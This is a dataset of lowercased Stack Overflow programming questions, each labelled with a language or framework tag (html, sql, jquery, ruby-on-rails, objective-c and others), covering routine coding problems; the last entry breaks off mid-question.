html frames example  will this work    <pre><code>&lt;html&gt; &lt;body&gt; &lt;center&gt; &lt;frameset rows= 50% 50% &gt; &lt;frame src= images.html &gt; &lt;frameset&gt; &lt;form action= abc.html &gt; &lt;input type= submit  name= abc page  value= abc page &gt; &lt;/form&gt; &lt;/frameset&gt; &lt;/frameset&gt; &lt;/center&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   can i give the code as above  like giving a html link page in a frame  and in other frame  a html code.,html
asp.net c# javascript  want to populate the second dropdown values based on selection first of first drop down.    id  bankname    branchname 1   hdfc    amt 2   hdfc    gag 3   icic    amsfsat 4   bpjn    dad    in the first drop down if i select the hdfc then in second dropdown amt gag should come.    i am using following code to fill first dropdown.   <pre><code>    string com =  select * from mst_bank ;     sqldataadapter adpt = new sqldataadapter(com  con);     datatable dt = new datatable();     adpt.fill(dt);     ddlbank.datasource = dt;     ddlbank.databind();     ddlbank.datatextfield =  bankname ;     ddlbank.datavaluefield =  id ; </code></pre>,asp.net
bouncing off the edge of a form c#  i am currently trying to get 3 balls bouncing around the form and have it working  the thing is this part of my code (makes the balls bounce off the edge s of the form) seems very clunky and i feel that it could be condensed somehow. is there a way that i could clean it up    <pre><code>public void move(int width  int height)         {             if ((position.x &gt;= 0) &amp;&amp; (position.x + size &lt;= width)) //within x bounds             {                 if (xbounce)                 {                     position.x -= speed;                 }                 else                 {                     position.x += speed;                 }             }             else             {                 if (!xbounce)                 {                     position.x -= size / 2;                 }                 else                 {                     position.x += size / 2;                 }                 xbounce = !xbounce;             }              if ((position.y &gt;= 0) &amp;&amp; (position.y + size &lt;= height)) //within y bounds             {                 if (ybounce)                 {                     position.y -= speed;                 }                 else                 {                     position.y += speed;                 }             }             else             {                 if (!ybounce)                 {                     position.y -= size / 2;                 }                 else                 {                     position.y += size / 2;                 }                 ybounce = !ybounce;             }          } </code></pre>,c#
how to join same table more than once  i am using postgresql.    i have a table called custom_field_answers. the data looks like this.   <pre><code>id | product_id | value      | number_value |  4  | 2          |            | 117          | 3  | 1          |            | 107          | 2  | 1          | bangle     |              | 1  | 2          | necklace   |              | </code></pre>   i want to find all the products which has text_value as  bangle  and number_value less than 50.   <pre><code>select p.* from  products  as p inner join  custom_field_answers  as a1 on p. id  = a1. product_id  inner join  custom_field_answers  as a2 on p. id  = a1. product_id   where a1. value  =  bangle  and a2. number_value  &lt; 50 </code></pre>   i tried to produce that sql with following code.   <pre><code>conditions = &lt;conditions from arel&gt; relation = self.scoped conditions.each do |condition|   relation = relation.merge(where(condition)) end joins(:custom_field_answers).merge(relation) relation.to_a </code></pre>   this produces following sql   <pre><code>select  products .* from  products  inner join  custom_field_answers   on  custom_field_answers . product_id  =  products . id   where ( custom_field_answers . value  ilike  bangle )  and ( custom_field_answers . number_value  &lt; 50) </code></pre>   as you can see this sql is not similar to the desired sql(mentioned at the top).    i tried moving the joins code up a little like this   <pre><code>relation = self.scoped conditions.each do |condition|   relation = relation.merge(where(condition).joins(:custom_field_answers)) end relation.to_a </code></pre>   still no luck.    anyone knows how to force a new join for each relation. i am using rails 3.1.1 .,ruby-on-rails
how send mail without using mfmailviewcontroller pop up view   i am new to iphone developer i dont know how to add this application .,iphone
why doesn t the value of my textbox change when i click on a radio button in asp.net   i m trying to change the value of my textbox by clicking on a radio button. but when i click on that radio button  nothing happens! does someone know why  here is the code:    <pre><code>protected void rbopgelost_checkedchanged(object sender  eventargs e) {     tbeinddatum.text = datetime.now.tostring(); } </code></pre>,asp.net
i get response from server and i want to save these images url in an array .and show one image at a time after ten seconds image change  for example i get three images in response from a web service and i want to show one image at a time in screen ..after every ten seconds image should change itself....how this can be done,android
why i have to call alert once to make the javascript working   this issue is really weird. what i want to do is to add checked box value to a hidden field  and remove the value from the hidden field if it is unchecked. i use javascript to implement this  however  i found that only i call alert once  the code works  otherwise  it won t. can anyone tell me why    <pre><code>var cpo={     addchecklist:function(){     alert( aaaaaaaaaa ); //if i comment this line  the following code won t work.     $( .billchecked ).change(function() {             if ($(this).is( :checked )) {                 var idlist = $( #cpo_billlist ).val() + $(this).attr( value ) +    ;                 $( #cpo_billlist ).val(idlist);             } else {                 var temp = $( #cpo_billlist ).val().replace($(this).attr( value ) +        );                 $( #cpo_billlist ).val(temp);             }             alert($( #cpo_billlist ).val());     }); } </code></pre>   i call            cpo.addchecklist(); at the bottom of the page.    above is the $(document).ready() function. only works when there is an alert method being called once.,jquery
not able to use .net remoting  i can t find using system.runtime.remoting.channels.tcp; as well    what is wrong here is my platform do not support it    i am using vs 2010 professional on windows xp sp3    <code>c:\visual_studio_2010\c#\remoting_server\remoting_server\program.cs(13 31): error cs0246: the type or namespace name  tcpserverchannel  could not be found (are you missing a using directive or an assembly reference )</code>,.net
auto refresh a page in ruby on rails  i am a newbie in ruby on rails  can someone tell me how to refresh a page.   <ol> <li>without any values submitted</li> <li>with previous values submitted</li> </ol>,ruby-on-rails
what mistake is there in my code in iphone  i am new to i phone programming.in this code i have store images in array that images i have added in bundle that image i can able to display in thumbnail.similarly i have create private folder in document directory there i have add 2 images that after that i retrieve that images in array but i am not able display private document directory images in thumbnail but i can able to display bundle images.in below code 2 localimages are there one of the localimages i have store bundle images and one more localimages i have store private document directory folder images.now bundle images are displaying but i commented that bundle localimages.and i using private document directory images in same localimages that not working its showing some expection.   <pre><code>paths = nssearchpathfordirectoriesindomains(nsdocumentdirectory nsuserdomainmask  yes); documentsdirectory = [paths objectatindex:0]; savedimagepath = [documentsdirectory stringbyappendingpathcomponent:@ tauky ];      nslog(@ %@  savedimagepath); nserror *error = nil; if (![[nsfilemanager defaultmanager] fileexistsatpath:savedimagepath]) [[nsfilemanager defaultmanager] createdirectoryatpath:savedimagepath withintermediatedirectories:no attributes:nil error:&amp;error]; dircontents = [[nsfilemanager defaultmanager] contentsofdirectoryatpath:savedimagepath error:&amp;error]; localimages = [[nsarray alloc] init];      predicate = [nspredicate predicatewithformat:@ self endswith  .jpeg  ];     imagesonly = [dircontents filteredarrayusingpredicate:predicate];     localimages = [nsarray arraywitharray:imagesonly];     nslog(@ %@  localimages);  self.title = @ fgallery ; self.navigationcontroller.navigationbar.barstyle = uibarstyleblacktranslucent;  localcaptions = [[nsarray alloc] initwithobjects:@ images53   @ image57  nil]; //localimages =[[nsarray alloc] initwithobjects: @ lava.jpeg  @ hawaii.jpeg  nil];     nslog(@ %@  localimagess); </code></pre>   expection is below code   <pre><code>- (void)reloadgallery {     _currentindex = _startingindex;     _isthumbviewshowing = no;      // remove the old     [self destroyviews];      // build the new     if ([_photosource numberofphotosforphotogallery:self] &gt; 0) {         // create the image views for each photo         [self buildviews];          // create the thumbnail views         [self buildthumbsviewphotos];          // start loading thumbs         [self preloadthumbnailimages];          // start on first image         [self gotoimagebyindex:_currentindex animated:no];          // layout         [self layoutviews];     } } </code></pre>   in console its show like this   <pre><code>self=(fgalleryviewcontroller *)0x6877050     _cmd=(sel)0x103cf reloadgallery </code></pre>   i not getting i tried so many ways what to do.please help me thanks,iphone
how can this jquery selector be shortened   i ve got the following selector:   <pre><code>$(this).children( li ).children( a ) </code></pre>   it seems a bit clunky  can it be shortened,jquery
using arc4rand() generate a ordered list  using <code>int rand=((arc4random()%4)+1);</code> how would you make a sorted list based on the numbers generated which have to be clicked in order .example if 4 2 3 1 was generated you have to click images based on those numbers,objective-c
sql query having trouble with  i have a question about my teacher s sql query. we are trying to find students who applied to cs but did not apply to ee.   <pre><code>select sid  sname from student where sid = any (select sid from apply where major = ‘cs’) and sid &lt;&gt; any (select sid from apply where major = ‘ee’) </code></pre>   the above query is apparently incorrect. i understand why it is incorrect. we are going to get sids of students who didn t apply to ee regardless of whether they applied to cs.    the below query is apparently the correct query. why does the below query work    <pre><code>select sid  sname from student where sid = any (select sid from apply where major = ‘cs’) and not sid = any (select sid from apply where major = ‘ee’) </code></pre>,sql
"create a function to output a category hierarchy into a select drop down form input by passing the $categories array to the function  create a function to output a category hierarchy into a select drop down form input by passing the <code>$categories</code> array to the function.    the given set array of data:   <pre><code>    $categories = array(     1 =&gt; array(‘id’ =&gt; 5 ‘name’ =&gt; ‘fruits’ ‘sort’ =&gt; 0 ‘parent’ =&gt; 0)      2 =&gt; array(‘id’ =&gt; 6  ‘name’ =&gt; ‘donuts’ ‘sort’ =&gt; 1 ‘parent’ =&gt; 7)      3 =&gt; array(‘id’ =&gt; 7  ‘name’ =&gt; ‘hard candy’ ‘sort’ =&gt; 0 ‘parent’ =&gt; 11)      4 =&gt; array(‘id’ =&gt; 8  ‘name’ =&gt; ‘pears’ ‘sort’ =&gt; 3 ‘parent’ =&gt; 1)      5 =&gt; array(‘id’ =&gt; 9  ‘name’ =&gt; ‘apples’ ‘sort’ =&gt; 1 ‘parent’ =&gt;1)      6 =&gt; array(‘id’ =&gt; 18  ‘name’ =&gt; ‘oranges’ ‘sort’ =&gt; 4 ‘parent’ =&gt; 1)      7 =&gt; array(‘id’ =&gt; 19  ‘name’ =&gt; ‘sweets’ ‘sort’ =&gt; 2 ‘parent’ =&gt; 0)      8 =&gt; array(‘id’ =&gt; 20  ‘name’ =&gt; ‘red delicious’ ‘sort’ =&gt; 5 ‘parent’ =&gt; 5)      9 =&gt; array(‘id’ =&gt; 21  ‘name’ =&gt; ‘granny smith apples’ ‘sort’ =&gt; 8 ‘parent’ =&gt; 5)      10 =&gt; array(‘id’ =&gt; 10  ‘name’ =&gt; ‘gummy bears’ ‘sort’ =&gt;5 ‘parent’ =&gt; 7)      11 =&gt; array(‘id’ =&gt; 11  ‘name’ =&gt; ‘candy’ ‘sort’ =&gt; 8 ‘parent’ =&gt; 7)      12 =&gt; array(‘id’ =&gt; 12  ‘name’ =&gt; ‘vegetables’ ‘sort’ =&gt; 3 ‘parent’ =&gt; 0)      12 =&gt; array(‘id’ =&gt; 13  ‘name’ =&gt; ‘yellow’ ‘sort’ =&gt; 2 ‘parent’ =&gt; 16)      14 =&gt; array(‘id’ =&gt; 14  ‘name’ =&gt; ‘grean beans’ ‘sort’ =&gt; 11 ‘parent’ =&gt; 12)      15 =&gt; array(‘id’ =&gt; 15  ‘name’ =&gt; ‘broccoli’ ‘sort’ =&gt; 10 ‘parent’ =&gt;12)      16 =&gt; array(‘id’ =&gt; 16  ‘name’ =&gt; ‘corn’ ‘sort’ =&gt; 14 ‘parent’ =&gt; 12)      17 =&gt; array(‘id’ =&gt; 17  ‘name’ =&gt; ‘white’ ‘sort’ =&gt; 1 ‘parent’ =&gt; 16)     ); </code></pre>   <strong>note: use recursive function if can.</strong>    output should like this:    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;select&gt;
      &lt;option&gt;fruits&lt;/option&gt;
      &lt;option&gt;-apples&lt;/option&gt;
      &lt;option&gt;--red delicious apples&lt;/option&gt;
      &lt;option&gt;--granny smith apples&lt;/option&gt;
      &lt;option&gt;-pears&lt;/option&gt;
      &lt;option&gt;-organges&lt;/option&gt;
      &lt;option&gt;sweets&lt;/option&gt;
      &lt;option&gt;-donuts&lt;/option&gt;
      &lt;option&gt;-gummy bears&lt;/option&gt;
      &lt;option&gt;-candy&lt;/option&gt;
      &lt;option&gt;--hard candy&lt;/option&gt;
      &lt;option&gt;vegetables&lt;/option&gt;
      &lt;option&gt;-broccoli&lt;/option&gt;
      &lt;option&gt;-grean beans&lt;/option&gt;
      &lt;option&gt;-corn&lt;/option&gt;
      &lt;option&gt;--white&lt;/option&gt;
      &lt;option&gt;--yellow&lt;/option&gt;
 &lt;/select&gt;</code></pre>
 </div>
 </div>",php
neep help about sql query  i m doing some example of sql statement. let s say that i have these tables:    <strong>member</strong>   <pre><code>memberid | lastname | firstname | birthday | campusaddress | campusphone </code></pre>   <strong>fooditem</strong>   <pre><code>fooditemid | fooditemname | fooditemtype </code></pre>   <strong>_order</strong>   <pre><code>orderid | memberid | fooditemtype </code></pre>   <strong>orderline</strong>   <pre><code>orderid | fooditemid | quantity | price </code></pre>   my goal is to list all members (memberid  lastname) who ordered both beef (fooditemid =  101 ) and chicken (fooditemid =  102 ) on the same order..    i have written two statement :    <pre><code>select m.memberid          m.lastname  from   member as m          _order as o          orderline as ol  where  m.memberid = o.memberid         and o.orderid = ol.orderid         and ol.fooditemid =  101          and ol.fooditemid in (select ol.fooditemid                               from   member as m                                       _order as o                                       orderline as ol                               where  m.memberid = o.memberid                                      and o.orderid = ol.orderid                                      and ol.fooditemid =  102 )  </code></pre>   and    <pre><code>select m.memberid          m.lastname  from   member as m          _order as o          orderline as ol  where  m.memberid = o.memberid         and o.orderid = ol.orderid         and ( ol.fooditemid =  101                 or ol.fooditemid =  102  )  </code></pre>   which one is right,sql
passing a parameter through a python filter function  i m trying to filter a list of words/phrases by some keyword. all the examples i ve found of the <code>filter()</code> function have been using numbers  so i m wondering if this is even possible. i know that <code>filter()</code> will put an item into the resulting list if the function it calls returns <code>true</code>.    let s say i have something like this:   <pre><code>def filtcheck(item  filt):     if filt in item:         return true  def funct():     filt =  hi      set1 = [ hello  world    hi there    hi friend ]     set2 = filter(filtcheck(filt)  set1)      print set2 </code></pre>   here is where i get confused. how exactly would i write that first parameter on the set2 line  obviously not the way its written since my filtcheck function takes two parameters and i only provide one. do i need to modify my filtcheck function too  but if i take the item parameter out of it  there s no string to check if filt is in.,python
result of syntax in js  i m switching from c++ to js.   <pre><code>//if ( condition ) {   instruction1;   instruction2; } </code></pre>   in c/c++ commenting <code>if</code> before the block would simply execute the block unconditionally.     could i use it the same way in js  or would it create an unnamed object which is never used,javascript
i want to stay on logout page  when application runs again (if user did not hit logout button)  <strong>below is my code till sign in process</strong>   <pre><code>#import  viewcontroller.h  #import  logoutviewcontroller.h   @interface viewcontroller ()  @end  @implementation viewcontroller  - (void)viewdidload {     [super viewdidload];     nsuserdefaults *defaults = [nsuserdefaults standarduserdefaults];      nsstring *userid = [defaults objectforkey:@ uid ];     nsstring *password = [defaults objectforkey:@ pswrd ];     _lbluserid.text = userid;    _lblpswrd.text = password; }  - (void)didreceivememorywarning {     [super didreceivememorywarning];     // dispose of any resources that can be recreated. }  - (ibaction)btnsignin:(id)sender {     nsuserdefaults *defaults = [nsuserdefaults standarduserdefaults];      [defaults setobject:_lbluserid.text forkey:@ uid ];     [defaults setobject: _lblpswrd.text forkey:@ pswrd ];      [defaults synchronize];     nslog(@ credentials are saved );      logoutviewcontroller *controller = [self.storyboard instantiateviewcontrollerwithidentifier:@ logoutvc ];     controller.getuserid = _lbluserid.text;     [self.navigationcontroller pushviewcontroller:controller animated:yes]; } @end </code></pre>   <strong>i have another view which will appear by signing in  on that view i have log out button  now what i want is if user didn t hit logout button the same page (log out page) will be displayed when i run my app again.</strong>    please help me..,objective-c
html error with head tag  <img src= https://i.stack.imgur.com/6mddr.png  alt= code error >   <blockquote>    error: start tag head seen but an element of the same type was already open.        from line 7  column 1; to line 7  column 6        <code>=1.0 &gt;↩↩↩↩&lt;head&gt;↩    &lt;</code>  </blockquote>,html
class controlling other view  i have a view controller with this code on the viewdidload...   <pre><code>uiimage *imageu = [[uiimage alloc]initwithcontentsoffile:[[nsbundle mainbundle] pathforresource:@ transparent  oftype:@ png ]]; touchimageview *transparent = [[touchimageview alloc] initwithimage:imageu]; [transparent setuserinteractionenabled: yes]; [transparent setmultipletouchenabled: yes]; [self.view addsubview:transparent];   imageu = [[uiimage alloc]initwithcontentsoffile:[[nsbundle mainbundle] pathforresource:@ pointer  oftype:@ png ]]; mypointer = [[uiimageview alloc]initwithimage:imageu]; [mypointer setuserinteractionenabled: yes]; mypointer.center = cgpointmake(160  240); [self.view addsubview: mypointer]; </code></pre>   as you see transparent s class is touchimageview that is a subclass of uiimageview.    what i need is  events generated inside touchimageview class must control the position of  pointer   and this is an object outside the scope of the class.    as you see  both transparent and pointer are on the same level hierarchically.    how do i refer to pointer inside touchimageview class     the line i am trying to make work is   <pre><code>self.superview.mypointer.transform = cgaffinetransformconcat(originaltransform  incrementaltransform); </code></pre>   but it says mypointer is something not a structure or union...,iphone
submitting an array index through form without input in php  solved    i am trying to submit the value of <code>$data[ saleid ]</code> to the info.php page.   <pre><code>       echo  &lt;form action= info.php  method= post &gt;        &lt;input type= hidden  name= saleid  value= $data[ saleid ] &gt;        &lt;input type= submit  value= view info &gt;        &lt;/form&gt; ; </code></pre>   gives    <blockquote>    parse error: syntax error  unexpected    (t_encapsed_and_whitespace)    expecting  -  or identifier (t_string) or variable (t_variable) or   number (t_num_string)  </blockquote>,php
240*320 android device specific dim file  i have an application that works with many devices and i have define dimen files based on low  medium   high and xhigh resolutions    but there is only one device with 240*320 size every thing is very small with it   it supposed to read from low dimen but it show thing so so small  so what can i do to make this device work withour affecting other resolutions,android
leaving a margin towards the right in android for a view  i have defined a layout which looks like this :   <pre><code>&lt;relativelayout xmlns:android= http://schemas.android.com/apk/res/android      android:layout_width= match_parent      android:layout_height= match_parent      xmlns:app= http://schemas.android.com/apk/res-auto &gt;      &lt;textview         android:layout_width= wrap_content          android:layout_height= wrap_content          android:id= @+id/something          android:text= test          android:textsize= 25dp /&gt;      &lt;togglebutton         android:layout_width= wrap_content          android:layout_height= wrap_content          android:layout_torightof= @+id/something          android:layout_marginleft= 60dp /&gt;  &lt;/relativelayout&gt; </code></pre>   basically i want some text on the left and a button on the right  but if i change the android:text from  test  to something else e.g  test.........   the position of the button changes on the screen.     how can i set the position of this button to a static margin from the right corner of the screen  please help.,android
jquery - find input have multiple class by part of class  i have html like this:   <pre><code>&lt;input type= text   name= hyouka_sha1_bi  class= class1 class2 ... classiwanttoget_1  &gt;&lt;/td&gt; &lt;input type= text   name= hyouka_sha1_bi  class= class1 class2 ... classiwanttoget_2  &gt;&lt;/td&gt; </code></pre>   i want to get all <code>input</code> that has class name which starts with <code> classiwanttoget_ </code>.      i tried to use:     <pre><code>$( #template_body_new_doc ).find( :input[class^=\ classiwanttoget_\ ] ) </code></pre>   but i can t get any elements. it only works if my input has one class name.      how can i do this,jquery
non-type parameters for templates <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/499106/what-does-template-unsigned-int-n-mean >what does template &lt;unsigned int n&gt; mean </a>    </blockquote>     hi ! are non-type template parameters and constants same   do the following code work because template parameter cannot be modified   if can be modified  the compiler should have thrown error while declaring array  a[t] . is my understanding correct     <pre><code>template &lt; int t &gt;  void foo() {     int a[t] ;   }    int main( int argc  const char* argv[] ) {     foo &lt;3&gt; () ;     system( pause ) ;     return 0 ;   } </code></pre>,c++
how are views actually created out of multiple smartparts   in the microsoft composite ui application block ( cab )  how are views actually created when made up of multiple smartpart components     i ve read as many blogs as i can find on cab  but for the most part all i can find are primarily  introduction to...  articles that go over basic concepts and tutorials that implement very primitive principles of the framework. i cannot seem to find any good  but easy to understand examples that create 1 screen out of multiple smart parts though.    a short list of some of the stuff i ve found very helpful getting started  but lacking the depth i now require;   <ul> <li><a href= http://richnewman.wordpress.com/about/code-listings-and-diagrams/intro-to-cab-toc/  rel= nofollow >http://richnewman.wordpress.com/about/code-listings-and-diagrams/intro-to-cab-toc/</a></li> <li><a href= http://www.codeproject.com/articles/17488/a-composite-ui-application-block-cab-mdi-applicati  rel= nofollow >http://www.codeproject.com/articles/17488/a-composite-ui-application-block-cab-mdi-applicati</a></li> <li><a href= http://blogs.msdn.com/b/alikl/archive/2007/10/29/composite-application-block-cab-programming-essentials-crucial-for-cab-performance.aspx  rel= nofollow >http://blogs.msdn.com/b/alikl/archive/2007/10/29/composite-application-block-cab-programming-essentials-crucial-for-cab-performance.aspx</a></li> </ul>   i hope this isn t considered too broad for an so question  but if anyone can possibly explain or at least point me in the right direction that d be much appreciated.,.net
variable or field `generatemonster  declared void <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/364209/variable-or-field-declared-void >variable or field declared void</a>    </blockquote>     i am working on a project getting some issues with a function.  i keep getting a error which i know means that i never declared a type  but i know i am.  all files have .h and .cpp included  so i don t have any missing includes.    this is the function i call it with - the issue is the generatemonster   <pre><code>int room1(chartype&amp; heroobj) {      int r;     roomtype roomobj;     roomobj.generatemonster(heroobj);      cout &lt;&lt;  there s a hiss as you open this door  and you smell a sour odor  like something rotten or fermented. inside you see a small room lined with dusty shelves  crates  and barrels. it looks like someone once used this place as a larder  but it has been a long time since anyone came to retrieve food from it.  &lt;&lt; endl;     cout &lt;&lt; endl &lt;&lt;  room #1:\n 1. door in the east corner of the north wall.\n 2. door in the middle of the east wall.\n 3. door in the east corner of the south wall.\n 4. door in the west corner of the south wall.\n  &lt;&lt; endl;     doit();     cin &gt;&gt; r;     if (!cin.good())        cout &lt;&lt;  that is not a valid option.  please try again. ;        cin.clear();        cin.ignore(100   \n );      system( cls );      switch(r) {               case 1:                    gendoor();                    hallway1(heroobj);                    break;               case 2:                    gendoor();                    hallway4(heroobj);                    break;               case 3:                    gendoor();                    hallway3(heroobj);                    break;               case 4:                    gendoor();                    hallway2(heroobj);                    break;     }  } </code></pre>   my prototype   <pre><code>class roomtype     {     public:      roomtype();      void generatemonster(chartype&amp; heroobj);      void generatetreasure();      private:      int gold;      int potion;      int keys;     }; </code></pre>   and my function as a whole - <a href= http://pastie.org/4799752  rel= nofollow noreferrer >http://pastie.org/4799752</a>,c++
passing argument to nsinvocationoperation via nsinvocation in objective-c  i am in the process of familiarizing myself more with nsoperation concurrency and i came across an issue with <code>nsinvocationoperation</code>.    here s the method i d like to run:   <pre><code>- (void) mytaskmethod:(nsstring *)stringarg {     nslog(@ stringarg: %@   stringarg); } </code></pre>   and here s how i invoke it <b> ** working ** </b>   <pre><code>nsinvocationoperation * invocationoperation2 = [[nsinvocationoperation alloc]initwithtarget:self selector:@selector(mytaskmethod:) object:@ hello world! ]; invocationoperation2.completionblock = ^{     nslog(@ we finished w/ nsinvocationoperation ); }; [invocationoperation2 start]; </code></pre>  <h3> question </h3>   i m trying to do this a different way by preparing an nsinvocation and passing it that way.  here s my code:   <pre><code>nsmethodsignature *sig = [self methodsignatureforselector:@selector(mytaskmethod:)]; nsinvocation * mytaskmethodinvocation = [nsinvocation invocationwithmethodsignature:sig]; nsstring * hello = @ hello from nsinvocation ; [mytaskmethodinvocation setargument:&amp;hello atindex:2]; nsinvocationoperation * invocationoperation1 = [[nsinvocationoperation alloc]initwithinvocation:mytaskmethodinvocation]; invocationoperation1.completionblock = ^{     nslog(@ we finished w/ nsinvocation ); }; [invocationoperation1 start]; </code></pre>   it is logging  we finished w/ nsinvocation  however  <code>mytaskmethod:</code> never runs.  i imagine i m missing something so any help is appreciated.,objective-c
how to find product of arithmetic progression   i need to write a function to find a product of arithmetic progression elements (using recursion). i have only vague idea how to do it – something like this:   <pre><code>public static int product(int n) {    if (n == 0)       return 0;    else       return &lt;some code&gt; * product(n-1); } </code></pre>   could you at least give me a hint,c#
rails params[:id] keeps returning the same id  i m working on add to favourites functionality  where a user clicks on a link and adds a resource to his favs  and clicks again in order to remove it. the problem is that no matter what i do with my code rails keep favouriting anything but the question i am actually looking for    <strong>disclaimer: in my code i misspelled the <em>favorite</em> word  please forgive me</strong>   <pre><code>controller  class favoritescontroller &lt; applicationcontroller     def favor     @question = question.find_by(params[:id])     @favorite = favorite.new      @favorite.user = current_user     @favorite.question = @question      @favorite.save      redirect_to :back   end    def unfavor     @question = question.find_by(params[:id])      @favorite = current_user.favorites.find_by(question_id: @question)     @favorite.destroy     redirect_to :back   end end </code></pre>   routes   <pre><code>concern :favoriteable do   post  favorites/favor     to:    favorites#favor      as: :favor   post  favorites/unfavor   to:    favorites#unfavor    as: :unfavor end  resources :questions  concerns: [:commentable  :favoriteable] do   resources :answers end </code></pre>   question#show   <pre><code>span    - if current_user.favorites.exists (question_id: @question)     = link_to  unfav this   question_unfavor_path(@question)  method: :post   - else         = link_to  fav this   question_favor_path(@question)  method: :post </code></pre>   log (<strong>note how 33 becomes 15</strong>)   <pre><code>started post  /questions/33/favorites/favor  for 127.0.0.1 at 2014-07-01 19:10:02 +0400 processing by favoritescontroller#favor as html   parameters: { authenticity_token =&gt; sjolddix4dmfhwljlbdnd6n12tlnyn+qdamt0olpocu=    question_id =&gt; 33 }   question load (0.7ms)  select   questions .* from  questions   limit 1   user load (0.1ms)  select   users .* from  users   where  users . id  = $1 limit 1  [[ id   11]]    (0.1ms)  begin   sql (0.3ms)  insert into  favorites  ( created_at    question_id    updated_at    user_id ) values ($1  $2  $3  $4) returning  id   [[ created_at    2014-07-01 15:10:02.490036 ]  [ question_id   15]  [ updated_at    2014-07-01 15:10:02.490036 ]  [ user_id   11]]    (1.0ms)  commit redirected to http://localhost:3000/questions/33 </code></pre>   can t figure it out  please help!,ruby-on-rails
how to keep all the textbox values and dropdownlist selected values even after page refresh in asp.net  i ve 20 textboxes and 16 dropdownlists in my form. my problem is when i refresh the page it s clearing all the fields. i ve an idea to keep the vales in session but  the code is going to be lengthy. is there any other solution rather than this>,asp.net
rails: command line not finish when create second model  i am tring to create a new rails app and generate some models<br> first  when i try to use the <code>rails g model category name:string</code> command  it finishes normally. <br> but  when i generate another model using <code>rails g model product name:string</code>  the command does not finish. i have to press <code>ctrl + c</code> to finish it. it just happened today  how do i solve this problem     <a href= https://i.stack.imgur.com/je3gx.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/je3gx.png  alt= enter image description here ></a>,ruby-on-rails
can t understand a piece of c++ code with perfect forwarding and ellipses  i can t understand what does the following piece of c++ code does:   <pre><code>template&lt;typename... ts&gt; void print(ts &amp;&amp;... ts) {     ns::logger{ (print(std::forward&lt;ts&gt;(ts))  ns::s{})... }; } </code></pre>   i see that there s perfect forwarding with variadic arguments  but what is happening in the line below precisely     my guess is that an object of type <code>ns::logger</code> is being uniform initialized with a series of values but i m not sure which ones.. is that <code>...</code> a folding expression,c++
calculate age  given date of birth  given a date of birth  how would i go about calculating an age in c     for example  if today s date is 20/04/2010 and the date of birth given is 12/08/86  then age will be 23 years  8 months  and 8 days.    any suggestions would be appreciated. thanks!,c
how to apply case in where cluase along with in clause  here is my query. <code>@scorecount</code> may contain zero or not. if it contains zero  should consider zero  as well as null and empty character. how to do that in where clause    <pre><code>declare @scorecount varchar(50) set @scorecount =  2 5 0  select e.name e.id e.degisnation  from tblemployee e inner join department d on d.id = e.did  where e.degisnation = @designation and scorecount in (@scorecount) </code></pre>   so i done like this.   <pre><code>select e.name e.id e.degisnation  from tblemployee e inner join department d on d.id = e.did  where e.degisnation =@designation and     case when scorecount is null then 0           when scorecount =   then 0           else scorecount end in (2  5  0) </code></pre>   is it right approach     here i made database value to null and    first and later apply in clause.again i have one query.how execution take place.according to me   <pre><code>step 1 from --- &gt; result1 step2 apply join on result1 --&gt;result2 step3 apply where clause first part on result2 --&gt;result3 step4 apply case part on result3 then msidn in part check --&gt;result4 setp 5 select result4 </code></pre>   here first it will change all record of result3 to appropriate msidn then do checking of msidn in clause or one by one change record of result3 to appropriate msidn then do checking of msidn in clause,sql
how to send details to mail in javascript code  i want to send all input data which filled in the contact form.     contact form in javascript   <hr>  <pre><code>function sendmail() {     $.ajax({       type:  post         url:  https://mandrillapp.com/api/1.0/messages/send.json         data: {          key :  your api key here            message : {            from_email :  your@email.here              to : [               {                  email :  recipient@email.here                    name :  recipient name (optional)                    type :  to                }             ]             autotext :  true              subject :  your subject here!              html :  your email content here! you can use html!          }       }      }).done(function(response) {        console.log(response); // if you re into that sorta thing      }); } </code></pre>,javascript
why is the mysql notation  unique field (field)  causing an error in mysql 5.7.21   i ran into a new problem today  when i was dealing with a <a href= https://github.com/q2a/question2answer/issues/595  rel= nofollow noreferrer >mysql query</a> that works on 10.1.19-mariadb localhost  but not on mysql 5.7.21-0ubuntu0.16.04.1-log:    <pre><code>create table testing (    pageid int unsigned not null auto_increment      position smallint unsigned not null      primary key (pageid)      unique position (position) ) engine=innodb charset=utf8 </code></pre>   in mysql 5.6 it works without any hickups (<a href= http://sqlfiddle.com/#!9/483d3e/2  rel= nofollow noreferrer >fiddle</a>)  however  in mysql 5.7.21 (<a href= https://www.db-fiddle.com/f/5vng5nvb6ht4vndigqzqns/0  rel= nofollow noreferrer >fiddle</a>) it throws:    <blockquote>    1064 - you have an error in your sql syntax; check the manual that corresponds to your mysql server version for the right syntax to use near  position (position)) engine=innodb charset=utf8  at line 1  </blockquote>   i figured out a solution by replacing <code>unique position (position)</code> with <code>unique (position)</code>.    but i am wondering  what the underlying problem is  why it works with the other db system  and i am not sure if my solution is correct.,mysql
rails grouped collection select limit list  i have a <code>grouped_collection_select</code> where i would like to limit the records displayed to tasks that are not closed. i can easily filter the records displayed at the opt group of the collection list.  but  i can t filter the option level records (group_method).    this is in my task model:   <pre><code>  scope :tasknotclosed  where( taskstatus_id != ( )   3)  </code></pre>   this is the current select:   <pre><code>&lt;%= f.grouped_collection_select :task_id  workorder.wonotclosed.order(:description)  :tasks  :description  :id  :taskname  :include_blank =&gt;  select:  %&gt; </code></pre>   instead of <code>:tasks</code>  i would like to use something like <code>task.tasknotclosed.all</code>    but  that gives me:   <pre><code>syntax error  unexpected  [  </code></pre>   thanks for the help!    update 1    i tried adding this to the task model:   <pre><code>def tasknotclosed    self.taskstatus_id != 3 end  </code></pre>   and changed the select to:   <pre><code>&lt;%= grouped_collection_select(:tasks  :task_id  workorder.wonotclosed.order(:id)  :task.tasknotclosed   :description  :id  :taskname  :include_blank =&gt; true) %&gt; </code></pre>   but i get:   <pre><code>undefined method `tasknotclosed   for :task:symbol </code></pre>   update2    i changed the select in the events form to this:   <pre><code>&lt;%= f.grouped_collection_select :task_id  @workorderlist  @tasklist  :description  :id  :taskname  :include_blank =&gt;  select:  %&gt; </code></pre>   and the events controller to this:   <pre><code> def new   @event = event.new   @tasklist = task.where( showtimer == ( )   